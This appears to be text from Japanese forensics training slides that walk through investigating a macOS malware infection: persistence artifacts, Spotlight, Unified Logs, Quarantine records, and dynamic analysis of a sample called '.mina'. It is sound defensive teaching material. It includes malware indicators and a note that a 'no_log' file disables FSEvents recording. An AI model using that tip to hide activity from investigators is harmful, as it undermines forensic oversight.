パーシステンスのアーティファクト (1/4)◦ KnockKnockの実行結果▪ mac_aptよりも多くのパーシステンスを解析できる▸ライブシステムでしか動作しない▪ VirusTotalでの検知状況を確認できる▸VirusTotalで解析されていない検体はsubmitできる▪ 実行対象のプログラムの署名検証を行うことができる▪ 実行結果をJSONフォーマットで保存できるのでスクリ
プトで処理しやすい73

パーシステンスのアーティファクト (2/4)◦ Launch Daemon/Agents▪ 特定のフォルダに保存された設定ファイル(plist)に従って、OS起動時にプログラムを実行する▪ マルウェアによく使われる▪ 開発元によって保存するフォルダが異なる▪ Apple▸/System/Library/LaunchDaemons/▸/System/Library/LaunchAgents/▪ サードパーティ▸/Library/LaunchDaemons/▸/Library/LaunchAgents/▪ ユーザー▸~/Library/LaunchAgents/

74パーシステンスのアーティファクト (3/4)◦ Microsoft AutoUpdateの設定例▪ Microsoft Officeなどの自動アップデートに使われる
Microsoft AutoUpdate% plutil -p /Library/LaunchAgents/com.microsoft.update.agent.plist{"Disabled" => 0
"Label" => "com.microsoft.update.agent""MachServices" => {"com.microsoft.update.xpc" => 1
自動実行するプログラム}"ProgramArguments" => [0 => "/Library/Application Support/Microsoft/MAU2.0/Microsoft
AutoUpdate.app/Contents/MacOS/Microsoft Update Assistant.app/Contents/MacOS/Microsoft Update Assistant"
1 => "--launchByAgent"]"RunAtLoad" => 1
"StartInterval" => 7200}

75

パーシステンスのアーティファクト (4/4)◦ Login Items▪ ユーザのログイン時にプログラムを実行する▪ マルウェアによく使われる▪ macOS 10.12以前▸~/Library/Preferences/com.apple.loginitems.plist▪ macOS 10.13以降▸~/Library/Application

Support/com.apple.backgroundtaskmanagementage
nt/backgrounditems.btm
76ファイルメタデータのアーティファクト (1/4)◦ Spotlight▪ macOSの検索システム▪ 以下のようなメタデータを保存する▸Spotlight経由で実行したアプリケーションや検索した単語▸ファイルのMACBタイムスタンプ（ファイルシステムとは別管理）▸ファイルを最後に使用したタイムスタンプ▸ファイルを使用した日付の履歴▸ファイルのダウンロード元URL▸ファイルのダウンロードを行ったタイムスタンプ▸ユーザ毎のSafari, Notes, Maps, Mailなどのアプリケーションが
持つ情報

77

ファイルメタデータのアーティファクト (2/4)◦ Spotlightデータベース (1)OSバージョン

ファイルパス

備考<=macOS 10.14/.Spotlight-V100/Store-V2/*/store.db

システムとユーザーデータの両方が含まれる/.Spotlight-V100/Store-V2/*/.store.db>=macOS 10.15/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/store.db/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/.store.db

macOS 10.15のボリューム
分割後のシステムボリュー
ム用78

ファイルメタデータのアーティファクト (3/4)◦ Spotlightデータベース (2)OSバージョン

ファイルパス

備考>=macOS 10.13/Users/*/Library/Metadata/CoreSpotlight/index.spotli
ghtV3/store.db

ユーザー毎に作られる。
macOS 10.14以降でも使われる。

/Users/*/Library/Metadata/CoreSpotlight/index.spotli
ghtV3/.store.db>=macOS 10.15/System/Volumes/Data/.Spotlight-V100/StoreV2/*/store.db/System/Volumes/Data/.Spotlight-V100/StoreV2/*/.store.db

macOS 10.15のボリューム
分割後のデータボリューム
用79

ファイルメタデータのアーティファクト (4/4)◦ Apple File System (APFS)▪ macOS 10.13で導入された新しいファイルシステム

80

5.2

Hands-on: パーシステンスの調査

81

パーシステンスの調査◦ 調査対象▪ KnockKnockの実行結果▪ mac_apt.db : AutoStartテーブル▪ パーシステンスファイルのメタデータ▸自動実行されるプログラムも調査対象▸mac_apt.db : SpotlightDataView▸APFS_Volumes_xxxx.db : Combined_Inodes82KnockKnockの実行結果の調査

Hands-On◦ KnockKnockの実行結果▪ json/kkResults.txt◦ jqでJSONデータを整形して表示% jq '.' ./json/kkResults.txt◦ 疑わしいエントリーを検索する▪ 正常なプログラムが指定されたエントリー▸signatureStatus = 0▸VT detection = 0▸上記の状態でないものが疑わしいエントリーになる◦ jqに詳しい場合はjqフィルタを検討する
83

mac_apt.db : AutoStart

Hands-On◦ DB Browser for SQLiteでmac_apt.dbを開く◦ データ閲覧 (Browse Data)タブでAutoStartテーブ
ルを選択する◦ 初期調査の観点として、ユーザー権限でパーシステンスが設定されていることを想定する▪ 管理者権限で設定可能な範囲は調査対象が多くなりすぎる◦ フィルタリング条件▪ User = macforensics◦ KnockKnockと結果が同じになるか確認する
84

パーシステンスファイルのメタデータの調査 (1/2)

Hands-On◦ パーシステンスファイルと指定されたプログラムファイルの作成日
時を調査する▪ マルウェア感染が発生した日時に近しいと推測できる◦ ファイルメタデータが保存されるDBとテーブル▪ mac_apt.db▸SpotlightDataView-1-store▸SpotlightDataView-1-.store-DIFF● SpotlightDataView-1-storeとの差分のみが記録されている● 調査の際は両方のテーブルを確認する必要がある▪ APFS_Volumes_xxxx.db▸Combined_Inodes▸APFSのタイムスタンプ● ナノ秒単位のUTCで記録される（1970年1月1日始まり）● 変換スクリプト : scripts/nsec_conv.py
85

パーシステンスファイルのメタデータの調査 (2/2)

Hands-On◦ フィルタリング条件▪ mac_apt.db : SpotlightDataView▸FullPath = パーシステンスファイルまたは自動実行されるプログラム▸_kMDItemCreationDate : ファイル作成日時▪ APFS_Volumes_xxxx.db : Combined_Inodes▸Name =パーシステンスファイルまたは自動実行されるプログ
ラム▸Created : ファイル作成日時

86

Solutions to
Exercise 187KnockKnockの実行結果の調査 (1/3)◦ KnockKnockの実行結果▪ json/kkResults.txt◦ 疑わしいエントリー% jq '.' ./json/kkResults.txt | less(snip){"name": ".mina","path": "/Users/macforensics/Library/.mina","plist": "/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist","hashes": {"md5": "F05437D510287448325BAC98A1378DE1","sha1": "FA3DEB60B8A2EAA29A7DCCF14BEE6ADAE81F442F"},
signatureStatusが0でないものを"signature(s)": {"signatureStatus": -67062
フィルタリングするjqクエリ},"VT detection": "37/75"% jq '."Launch Items"[] | select(."signature(s)".signatureStatus != 0)' json/kkResults.txt}(snip)

88

KnockKnockの実行結果の調査 (2/3)◦ 疑わしいエントリーの特徴▪ signatureStatusが0ではない▪ VT detectionも0ではない◦ 疑わしいエントリーを抽出するスクリプト▪ scripts/kkfilter.sh#!/bin/zsh
s1="."
s2="[]"

while read line; doecho "---------- $line ----------"
s0=$s1$line$s2
jq "$s0 | select((.¥"signature(s)¥".signatureStatus != 0) or ¥(.¥"VT detection¥" | startswith(¥"0/¥") | not))" $1
done < <(jq '. | keys[]' $1)89KnockKnockの実行結果の調査 (3/3)◦ スクリプト実行結果% zsh scripts/kkfilter.sh json/kkResults.txt---------- "Authorization Plugins" ------------------- "Browser Extensions" ------------------- "Cron Jobs" ------------------- "Dir. Services Plugins" ------------------- "Event Rules" ------------------- "Extensions and Widgets" ------------------- "Kernel Extensions" ------------------- "Launch Items" ---------{"name": ".mina","path": "/Users/macforensics/Library/.mina","plist": "/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist","hashes": {"md5": "F05437D510287448325BAC98A1378DE1","sha1": "FA3DEB60B8A2EAA29A7DCCF14BEE6ADAE81F442F"},"signature(s)": {"signatureStatus": -67062},"VT detection": "37/75"}---------- "Library Inserts" ------------------- "Library Proxies" ------------------- "Login Items" ------------------- "Login/Logout Hooks" ------------------- "Periodic Scripts" ------------------- "Quicklook Plugins" ------------------- "Spotlight Importers" ------------------- "Startup Scripts" ------------------- "System Extensions" ----------

疑わしいエントリーは1つのみ

90

疑わしいエントリーの情報◦ 設定ファイル
▪ /Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist◦ プログラムパス▪ /Users/macforensics/Library/.mina◦ ユーザーライブラリフォルダ直下の隠しファイルが指定されているのは、非常に疑わしい
91

mac_apt.db : AutoStartテーブルの調査◦ フィルタリング条件▪ KnockKnockの検知結果を基にフィルタリング▪ Type = Agents▪ User = macforensics

92

LaunchAgent plistの調査 (1/4)◦ mac_apt.db : SpotlightDataView▪ com.aex-loop.agent.plistの作成日時▸2021-11-25 04:41:45.406457 (UTC)93

LaunchAgent plistの調査 (2/4)◦ mac_apt.db : SpotlightDataView▪ .minaの作成日時▸エントリーが存在しない

94

LaunchAgent plistの調査 (3/4)◦ APFS_Volumes_xxxx.db :Combined_Inodes▪ タイムスタンプは整形されていない

95

LaunchAgent plistの調査 (4/4)◦ APFSタイムスタンプ変換スクリプト#!/usr/bin/env python3
import sys
import datetime
if len(sys.argv) != 2:
sys.exit('need argument')
timestamp = int(sys.argv[1])dt = datetime.datetime(1970, 1, 1) + datetime.timedelta(microseconds=timestamp/1000)
print(dt.strftime('%Y-%m-%d %H:%M:%S.%f'))◦ .minaの作成日時% python3 scripts/nsec_conv.py 1637815305360051337
2021-11-25 04:41:45.360051

96ここまでのタイムライン
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina 作成

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist 作成

97

6

Exercise 2:
パーシステンス作成前後のアクティビティの解析

98パーシステンス作成前後のアクティビティ調査の目的◦ com.aex-loop.agent.plistや.minaの作成
日時の前後に発生したアクティビティから関連するプログラム等を確認する◦ アクティビティの例▪ プログラム実行▪ ボリュームマウント▪ ファイルダウンロード
99

6.1

アクティビティのアーティファクト

100

Recent Items (1/6)◦ WindowsのRecentDocsのようにアクセスしたファイルなどが記録されている▪ OS X 10.10以前▸~/Library/Preferences/com.apple.recentitems.plist▪ OS X 10.11以降▸~/Library/Application

Support/com.apple.sharedfilelist/以下の.sfl及び.sfl2フ
ァイル▸*.sfl : OS X 10.11以降▸*.sfl2 : macOS 10.13以降
101

Recent Items (2/6)◦ アップルメニューの「最近使った項目」▪ Recent Applications▸com.apple.LSSharedFileList.RecentApplications(.sfl|.sfl2)▪ Recent Documents▸com.apple.LSSharedFileList.RecentDocuments(.sfl|.sfl2)▸com.apple.LSSharedFileList.ApplicationRecentDocuments/● このディレクトリの下にアプリケーション毎のsfl/sfl2ファイルがある▪ Recent Servers （サーバ名で保存）▸com.apple.LSSharedFileList.RecentServers(.sfl|.sfl2)▪ Recent Hosts （IPアドレスで保存）▸com.apple.LSSharedFileList.RecentHosts(.sfl|.sfl2)102

Recent Items (3/6)

103Recent Items (4/6)◦ Finderのサイドバーに表示される項目▪ Finder Tag▸com.apple.LSSharedFileList.ProjectsItems(.sfl|.sfl2)▪ Favorite Items▸com.apple.LSSharedFileList.FavoriteItems(.sfl|.sfl2)▪ Favorite Volumes▸com.apple.LSSharedFileList.FavoriteVolumes(.sfl|.sfl2)◦ 「サーバへ接続」の「よく使うサーバ」▪ Favorite Servers▸com.apple.LSSharedFileList.FavoriteServers (.sfl|.sfl2)
104

Recent Items (5/6)

105Recent Items (6/6)◦ ダイアログで最近使用したフォルダ▪ ~/Library/Preferences/.GlobalPreferences.plist▪ defaults read -g NSNavRecentPlaces◦ Finderによるアクセスの履歴▪ ~/Library/Preferences/com.apple.finder.plist▸FXDesktopVolumePositions● デスクトップに表示されるボリュームのアイコンの座標▸FXRecentFolders● 直近10個のボリューム名を含むフォルダ名が記録される▸FXConnectToLastURL● 移動メニューのサーバへ接続▸GoToField / GoToFieldHistory● 移動メニューのフォルダへ移動の履歴
106

ファイルのアクティビティ◦ .fseventsd▪ Mac OS X 10.5以降▪ HFS+, APFS共に使用可能▪ NTFSの$UsnJrnl:$Jと似た情報が記録される▪ ファイル単位でレコードが記録されるため、ファイル作成や変更、削除など複数のイベントが1つにレコードに記録される▪ タイムスタンプは記録されないため、アーティファクトファイルの更新日
時をおおよそのタイムスタンプとして扱う▪ 各パーティションのルートディレクトリ直下の「.fseventsd」フォルダ以下に記録される▸.fseventsdディレクトリ直下に「no_log」というファイルを作ると、そのボリューム
では記録されなくなる▪ 外部メディアにも作成される
107

プログラム実行履歴◦ Spotlight Shortcuts▪ スポットライトから実行したアプリケーションが記録される▪ Spotlightはアプリケーション名を補完するので、「fire」だけで「Firefox」を実行することができる。この場合、fireとFirefoxが紐づいたエントリが記録される。
▪ OS X 10.9以前▸~/Library/Preferences/com.apple.spotlight.plist▪ OS X 10.10以降▸~/Library/Application Support/com.apple.spotlight.Shortcuts▪ macOS 10.15▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts▪ macOS 11以降▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts.v3

108ソフトウェアインストール履歴◦ InstallHistory▪ /Library/Receipts/InstallHistory.plist▪ OSやソフトウェアのインストール履歴が記録される▪ パッケージ名、バージョン、インストール日時

109

Quarantine Events◦ Webブラウザ等でファイルのダウンロードでcom.apple.quarantine拡張属性が付与されたファイルのデータベース▪ 拡張属性とは別に記録されるため、ファイルの拡張属性が削除されても残る◦ Mac OS X 10.6以下▪ ~/Library/Preferences/com.apple.LaunchServices.QuarantineEvents◦ Mac OS X 10.7以降▪ ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2◦ ファイルをダウンロードしたアプリケーション名、タイムスタンプ、ダウンロー
ド元URL等が記録される◦ curlやwgetなどでダウンロードしたファイルには、拡張属性が設定されず、データベースにも記録されない

110Unified Logs (1/3)◦ macOS 10.12で導入◦ プログラム実行やボリュームマウント等のログが残る◦ 保存ディレクトリ
▪ /private/var/db/uuidtext▪ /private/var/db/diagnostics◦ ライブシステムからログをエクスポート▪ sudo log collect▸system_logs.logarchive が作成される◦ ディスクイメージから手動でログをエクスポート

1. /private/var/db/diagnostics と /private/var/db/uuidtext フォルダ内のファイルを1つのフォル
ダにコピーする（uuidtext と diagnostics の親フォルダは含めない）
2. コピー先のフォルダに ".logarchive" 拡張子を付加する
macOSのバージョンアップに伴って若干追加の手順が必要になった▪

▸Catalina上で保全してきたUnifiedLogを解析する▸https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607

111

Unified Logs (2/3)◦ logコマンド% log show --debug --info --predicate 'FILTERING CONDITION' --start 'YYYY-MM-DD hh:mm:ss'--end 'YYYY-MM-DD hh:mm:ss'◦ フィルタリング条件
eventTypeThe type of event: activityCreateEvent, activityTransitionEvent, logEvent, signpostEvent, stateEvent,timesyncEvent, traceEvent and userActionEvent.
eventMessage
The pattern within the message text, or activity name of a log/trace entry.
messageType
For logEvent and traceEvent, the type of the message itself: default, info, debug, error or fault.
process
The name of the process the originated the event.
processImagePath
The full path of the process that originated the event.
sender
The name of the library, framework, kernel extension, or mach-o image, that originated the event.
senderImagePath
The full path of the library, framework, kernel extension, or mach-o image, that originated the event.
subsystem
The subsystem used to log an event. Only works with log messages generated with os_log(3) APIs.
category
The category used to log an event. Only works with log messages generated with os_log(3) APIs. When
category is used, the subsystem filter should also be provided.

112

Unified Logs (3/3)◦ Unified Logsフォーマット
Timestamp

Thread ID

Activity ID
Log Type

TTL% log show --info --debug --predicate 'sender == "TimeMachine"'
Filtering the log data using "sender == "TimeMachine""
Timestamp
ThreadType
Activity
PID
2021-11-09 18:41:17.571449+0900 0x23fb85
Info
0x0
259
[com.apple.TimeMachine:General] Mountpoint '/Volumes/TimeMachine' is still valid

Subsystem

Category

Process Name

Process ID

Sender (Library)TTL
0backupd: (TimeMachine)

Event Message▪ 実際は1行
113

6.2

Hands-on:
パーシステンス作成前後のアクティビティの解析

114

パーシステンス作成前後のアクティビティの解析◦ 調査対象▪ mac_apt.db▸RecentItems
タイムスタンプを持っていない▸FsEvents▸SpotlightShortcuts▸IntallHistory▸SpotlightDataView-1-store▸SpotlightDataView-1-.store-DIFF▸Quarantine
これらをメインで確認する▪ UnifiedLogs.db▸プログラム実行履歴▸ボリュームマウント
115

UnifiedLogs.db プログラム実行履歴 (1/2)

Hands-On◦ .app形式アプリケーション(Application bundle) の実行
痕跡◦ フィルタリング条件▪ Message = LAUNCHING:0▪ TimeUtc =パーシステンス作成日時付近▸TimeUtcのカラム名をクリックすると昇順（または降順）でソートできる◦ ProcessNameカラム, ProcessImagePathカラム▪ プログラムの起動元▸Dock, Finder, Spotlight, loginwindow, openなど▪ 以下は通常のプロセスなので無視できる▸activateSettings▸System Preferences

116UnifiedLogs.db プログラム実行履歴 (2/2)

Hands-On◦ Gatekeeperに実行許可された未署名プロ
グラム▪ Mach-Oバイナリが記録される▪ dmgについても記録される◦ フィルタリング条件▪ Category = gk
▪ Message = temporarySigning▪ TimeUtc = パーシステンス作成日時付近
117

UnifiedLogs.db ボリュームマウント

Hands-On◦ マウント／アンマウントされたボリューム▪ 記録されるのはボリューム名であり、DMG等のファイル名ではない▪ マウントしたボリュームのファイルシステムも分かる◦ ボリュームマウントを検索するSQLクエリ

SELECT TimeUtc, Message FROM UnifiedLogs WHERE TimeUtc LIKE "2021-11-25 04:%" AND (ProcessName = "kernel" AND(Message LIKE "%mounted%" OR Message LIKE "%unmount%")) ORDER BY TimeUtc;▪ Prebootボリュームはシステム標準で存在するので無
視できる
118

mac_apt.db : SpotlightDataView

Hands-On◦ ここまでに得られたファイル名やボリューム名でSpotlightDataViewテーブルをフィルタリン
グする◦ フィルタリング条件▪ FullPath = ファイル名やボリューム名◦ カラムの意味▪ _kMDItemCreationDate : ファイル作成日時▪ kMDItemWhereFroms : ダウンロード元URL
119

mac_apt.db : Quarantine

Hands-On◦ com.apple.quarantine拡張属性が設定されたファイルを記録するデータベース▪ macOSセキュリティフレームワークとして実装されている◦ ファイルをダウンロードしたアプリケーション名、タイムスタンプ、ダウンロード元URLが記録される◦ フィルタリング条件▪ DataUrl = SpotlightDataViewで得られたダウンロード
元URL

120

mac_apt.db : RecentItems プログラム実行履歴

Hands-On◦ 起動したアプリケーション名とそのファイルパス
◦ フィルタリング条件▪ Type = APPLICATION▪ Name = アプリケーション名▪ URL = アプリケーションパス121

mac_apt.db : RecentItems ボリュームマウント

Hands-On◦ マウントしたボリュームとそのフォルダパス
◦ フィルタリング条件▪ Type = VOLUME▪ Name = ボリューム名▪ URL = ボリュームパス（Volumes/で始まるパス）122

mac_apt.db : RecentItems Finderアクセスフォルダ

Hands-On◦ Finderでアクセスしたフォルダ名とそのフォルダ
パス◦ フィルタリング条件▪ Type = PLACE▪ Name = フォルダ名やボリューム名▪ URL = フォルダパス

123

mac_apt.db : FsEvents

Hands-On◦ ファイルシステムで発生したイベントが記録される▪ ファイルやフォルダの作成、削除、パーミッション変更など▪ 今回はボリュームマウントについて調査するので、Volumes以下のフォルダ作成エントリーをフィルタリングする◦ フィルタリング条件▪ SourceModDate = パーシステンス作成日時付近▪ EventFlags = FolderCreated▪ Filepath = Volumes/◦ SourceModDateカラム▪ アーティファクトファイルの修正日時▪ この日時までに該当するイベントが発生したことはわかるが、正確な日時はわからない124mac_apt.db : SpotlightShortcuts

Hands-On◦ Spotlightから起動したアプリケーションが記録される▪ ユーザーが入力した文字列も記録される◦ フィルタリング条件▪ DisplayName or URL = アプリケーション名▪ LastUsed = パーシステンス作成日時付近

125mac_apt.db : InstallHistory

Hands-On◦ インストールされたパッケージが記録される◦ フィルタリング条件▪ Date =パーシステンス作成日時付近

126

Solutions to
Exercise 2
127Unified Logs調査結果 (1)◦ アプリケーションの実行痕跡
SELECT TimeUtc, ProcessName, Message FROM UnifiedLogs WHERE (TimeUtc LIKE "2021-11-25 04:4%" AND Message LIKE"LAUNCHING:0%" AND Message NOT LIKE "%activateSettings%" AND Message NOT LIKE "%System Preferences%") ORDER BYTimeUtc;

128

Unified Logs調査結果 (2)◦ Gatekeeperによるコマンド実行痕跡
SELECT TimeUtc, Message FROM UnifiedLogs WHERE (TimeUtc LIKE "2021-11-25 04:4%" AND Message LIKE
"temporarySigning%" AND Message NOT LIKE "%activateSettings%" AND Message NOT LIKE "%System Preferences%")
ORDER BY TimeUtc;

129

Unified Logs調査結果 (3)◦ ボリュームマウント

InstallerボリュームとTinkaOTPボリュームがマウントされた履歴がある

130mac_apt.db : SpotlightDataView◦ SpotlightDataView-1-.store-DIFFに記録されている
SELECT FullPath, _kMDItemCreationDate, kMDItemWhereFroms, kMDItemDownloadedDate FROM "SpotlightDataView-1.store-DIFF" WHERE (FullPath LIKE "%Installer%" OR FullPath LIKE "%TinkaOTP%");131

mac_apt.db : Quarantine◦ ファイルダウンロードしたアプリケーション名▪ Safariを使ってInstaller.dmgをダウンロードした▪ ユーザーが手動でダウンロードした可能性が高い

132

mac_apt.db : FsEvents◦ 疑わしいボリュームをマウントしたフォルダ◦ Volumes以下のFolderCreatedはボリュー
ムマウント、Removedはボリュームアンマウン
トを意味する133

mac_apt.db : RecentItems - APPLICATION◦ マウントしたInstallerボリュームにある
TinkaOTP Installerを実行した

134

mac_apt.db : RecentItems - VOLUME◦ ここにもボリュームがマウントされた記録が残
っている

135

mac_apt.db : RecentItems - PLACE◦ FinderでマウントされたInstallerボリュームを
参照した

136

mac_apt.db : InstallHistory, SpotlightShortcuts◦ InstallHistory, SpotlightShortcutsには痕跡はなかった137

ここまでのタイムライン (1/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg 作成（http://www.2fa.test/download/Installer.dmg からSafariでダウンロード）

2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg マウント開始

2021-11-25 04:41:34.416693

Installer マウント (apfs)

2021-11-25 04:41:37.924145

TinkaOTP Installer 実行（Finderから）

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 実行

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms 実行

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg 作成

138ここまでのタイムライン (2/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:44.076904

TinkaOTP マウント (hfs)2021-11-25 04:41:44.097888/Applications/TinkaOTP.app 作成

2021-11-25 04:41:44.355439

TinkaOTP アンマウント (hfs)2021-11-25 04:41:44.446290

TinkaOTP 実行（openコマンドから）

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina 作成

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina 実行

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist 作成

2021-11-25 04:41:59.291558

Installer アンマウント (apfs)

139ここまでのタイムライン振り返り◦ http://www.2fa.test/download/Installer.dmg から

Installer.dmgをダウンロードし、ディスクイメージをマウント◦ マウントしたボリューム(/Volumes/Installer)から
TinkaOTP Installerを実行◦ ランダムな名前のファイルを実行後、TinkaOTP.dmgが作成される◦ TinkaOTPボリュームのマウント後、/Applications/TinkaOTP.appが作成および実行される◦ TinkaOTP Installerの実行から、パーシステンスの作成まで8秒で完了しているため、この間の処理は自動で行われた可能性が高い
140

7Exercise 3: .minaの解析

141疑わしいファイルの整理 (1/2)◦ ここまでの解析で以下の疑わしいファイルが見つかった▪ /Users/macforensics/Library/.mina▪ /Applications/TinkaOTP.app▪ /Users/macforensics/Downloads/TinkaOPT.dmg▪ /var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Inst
aller.jv3vIUms▪ /Volumes/Installer/TinkaOTP Installer.app▪ /Users/macforensics/Downloads/Installer.dmg◦ 上記のファイルはexported_filesフォルダに抽出済み▪ 以下のファイルはディスクイメージ内に存在しなかった▸/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3v
IUms▸/Volumes/Installer/TinkaOTP Installer.app
142疑わしいファイルの整理 (2/2)◦ タイムラインから考えられるプログラムの関係性▪ TinkaOTP Installer▸ユーザーによってダウンロードおよび実行された▸TinkaOTPをダウンロードもしくはドロップ（？）▪ TinkaOTP▸自動的に実行された（？）▸.minaをダウンロードもしくはドロップ（？）▪ .mina▸自動的に実行された（？）▸パーシステンスを登録（？）▸マルウェア本体（？）◦ （？）の項目を確認していく◦ パーシステンス作成直前に実行された .mina から解析する▪ 「.mina」は「_mina」で保存している

143

.minaの解析 (1/8)

Hands-On◦ 文字列検索▪ stringsコマンド等で、.minaがパーシステンスのファイル名を持っているか確認する

144

.minaの解析 (2/8)

Hands-On(Only macOS)◦ 動的解析（macOS VMがある人） (1)▪ macOS VMで以下のコマンドを別々のターミナルから実行する% sudo ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor > mina_procmon.json% sudo ./FileMonitor.app/Contents/MacOS/FileMonitor > mina_filemon.json▪ さらに別のターミナルから、_minaを実行する▸_minaは事前にVMにコピーしておく% chmod +x _mina% ./_mina

145

.minaの解析 (3/8)

Hands-On(Only macOS)◦ 動的解析（macOS VMがある人） (2)▪ _minaの実行後、 10秒程度経過したら、 Ctrl+CでProcessMonitor, FileMonitorを停止する▪ mina_procmon.json, mina_filemon.jsonをjqで
解析する

146

.minaの解析 (4/8)

Hands-On◦ 動的解析（macOS VMがない人）▪ jsonフォルダ内の以下のJSONファイルをjqで解析する▸mina_procmon.json▸mina_filemon.json

147

.minaの解析 (5/8)

Hands-On◦ 動的解析

▪ mina_procmon.json▸_minaが他のプロセスを起動しているか調査する▸eventが以下のもの● ES_EVENT_TYPE_NOTIFY_EXEC● ES_EVENT_TYPE_NOTIFY_FORK▪ mina_filemon.json▸_minaがパーシステンスファイルを作成しているか調査する▸eventが以下のもの● ES_EVENT_TYPE_NOTIFY_CREATE148

Hands-On.minaの解析 (6/8)◦ mina_procmon.jsonの調査 (1)▪ _minaのPIDを調べる% jq '. | select((.process.name == "_mina") and (.event | endswith("EXEC")))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-14 06:14:40 +0000","process": {PID = 803
"pid": 803,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel","arguments": ["./_mina"],"ppid": 789,
"rpid": 0,"ancestors": [
339,
1
],
(snip)

イベント名が「EXEC」で終わる

プロセス名が「_mina」

149

.minaの解析 (7/8)

Hands-On◦ mina_procmon.jsonの調査 (2)▪ PPIDが_minaのPIDであるプロセスを調べる% jq '. | select(.process.ppid == 803 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null▪ フィルタリング条件▸PID = 803▸イベント名が「EXEC」または「FORK」で終わる▪ fork()している場合、そのPIDに対しても同様に調査する
150

.minaの解析 (8/8)

Hands-On◦ mina_filemon.jsonの調査▪ _minaが作成するファイルを調べる% jq '. | select(.file.process.name == "_mina" and (.event | endswith("CREATE")))' json/mina_filemon.json 2>/dev/null▪ フィルタリング条件▸プロセス名が「_mina」▸イベント名が「CREATE」で終わる

151

Solutions to
Exercise 3
152

.minaの解析 (1/5)◦ 文字列検索% strings -a ./exported_files/_mina | grep com.aex-loop.agent.plist/Library/LaunchAgents/com.aex-loop.agent.plist/Library/LaunchDaemons/com.aex-loop.agent.plist▪ パーシステンスファイルの文字列を持っている▪ .minaがパーシステンスファイルを作成している153

.minaの解析 (2/6)◦ 動的解析 (1)▪ _minaのPIDを確認% jq '. | select(.process.name == "_mina" and (.event | endswith("EXEC")))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-14 06:14:40 +0000","process": {"pid": 803,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel","arguments": ["./_mina"],"ppid": 789,
"rpid": 0,"ancestors": [
339,
1
],
(snip)

154

.minaの解析 (3/6)◦ 動的解析 (2)▪ _minaから実行されたプロセスの有無% jq '. | select(.process.ppid == 803 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-14 06:14:40 +0000","process": {"pid": 805,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel","arguments": [],"ppid": 803,
"rpid": 0,"ancestors": [
339,
1
],
(snip)▪ fork()はしているが、他のプロセスは起動していない
155

.minaの解析 (4/6)◦ 動的解析 (3)▪ fork()したプロセスの調査% jq '. | select(.process.pid == 805 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-14 06:14:40 +0000","process": {"pid": 805,
"name": "_mina","path": "/Users/macforensics/Downloads/_mina","uid": 501,
"architecture": "Intel",(snip)

前のスライドと同じイベント% jq '. | select(.process.ppid == 805 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null（出力なし）▪ .minaから実行されるプロセスは見当たらない
156

.minaの解析 (5/6)◦ 動的解析 (4)▪ ファイルの作成状況を確認する% jq '. | select((.file.process.name == "_mina") and (.event | endswith("CREATE")))' json/mina_filemon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_CREATE","timestamp": "2021-12-14 06:14:40 +0000","file": {"destination": "/Users/macforensics/Library/Caches/com.apple.appstore.db","process": {"pid": 805,
"name": "_mina",(snip)

パーシステンスファイルではないファイルを作成している▪ 動的解析では、パーシステンスファイルの作成を確認できないが、ここでは、一旦ほかの調査を進める
157

.minaの解析 (6/6)◦ .minaの解析結果▪ 動的解析の結果では、別のプロセスは起動しない▪ 動的解析では、パーシステンスファイルの作成が確認されていないが、単体の動的解析ではうまく動作しな
い理由がある可能性がある

158

8

Exercise 4: TinkaOTP.appの解析

159

TinkaOTP.appの解析 (1/4)◦ タイムラインから見て、TinkaOTP.appはTinkaOTP.dmg内のファイルである可能性が高い▪ md5sumコマンド等でハッシュ値を使って確認してみる▪ macOSにはmd5sumコマンドはないので、brew等でインストールする必要がある

160

